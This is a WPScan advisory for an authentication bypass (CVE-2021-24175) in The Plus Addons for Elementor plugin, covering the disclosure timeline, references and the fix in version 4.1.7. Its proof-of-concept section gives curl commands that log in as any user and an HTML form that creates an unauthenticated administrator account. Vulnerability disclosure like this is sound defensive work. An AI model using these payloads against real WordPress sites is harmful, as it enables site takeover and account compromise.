WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

The Plus Addons for Elementor Page Builder < 4.1.7 - Authentication Bypass

Description

The plugin was being actively exploited to by malicious actors to bypass authentication, allowing unauthenticated users to log in as any user (including admin) by just providing the related username, as well as create accounts with arbitrary roles, such as admin. These issues can be exploited even if registration is disabled, and the Login widget is not active.

The vendor was notified by the two reporters:
- On March 6th, 2021 by Seravo, which was answered on March 7th, and the vulnerability acknowledged on March 9th.
- On March 7th and 8th 2021 by WP Charged who saw the attacks start on March 5th, 2021.

We (WPScanTeam) escalated to issues to Envato on Match 8th, 2021 after confirming them and finding another similar authbypass issue.

The free version of the plugin on the WordPress repository did not seem affected by this issue.

Proof of Concept

The "theplus_ajax_login" and "theplus_google_ajax_register"  AJAX actions, available to unauthenticated users allow trivial authentication bypass as any user by only providing the related username

curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.php
curl -X POST --data action=theplus_google_ajax_register --data email=admin --data nonce=a -iLSS https://example.com/wp-admin/admin-ajax.php

Then, the "theplus_google_ajax_register" AJAX action can also allow any unauthenticated user to create accounts with arbitrary role, such as admin, and then get logged in automatically

<form method="POST" action="https://example.com/wp-admin/admin-ajax.php">
<input value="newadmin" name="name" type="text">
<input value="[email protected]" name="email" type="text">
<input value="test" name="password" type="text">
<input value="theplus_google_ajax_register" name="action" type="text">
<input value="administrator" name="tp_user_reg_role" type="text">
<input value="any" name="nonce" type="text">
<input type="submit" />
</form>

Finally, the "theplus_ajax_register" AJAX action can also allow unauthenticated user to create accounts with arbitrary role, such as admin, however this require the registration to be enabled, and the Login widget to be used. 

Affects Plugins

theplus_elementor_addon
Fixed in version 4.1.7

References

CVE
CVE-2021-24175
URL
https://www.wordfence.com/blog/2021/03/critical-0-day-in-the-plus-addons-for-elementor-allows-site-takeover/
URL
https://posimyth.ticksy.com/ticket/2713734/

Classification

Type

AUTHBYPASS

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-287

Miscellaneous

Original Researcher

Ville Korhonen (Seravo), Antony Booker (WP Charged)

Submitter

Ville Korhonen (Seravo), Antony Booker (WP Charged)

Submitter website
https://seravo.com/
Submitter twitter
Seravo
Verified

Yes

WPVDB ID
c311feef-7041-4c21-9525-132b9bd32f89

Timeline

Publicly Published

2021-03-08 (about 1 years ago)

Added

2021-03-08 (about 1 years ago)

Last Updated

2021-04-03 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us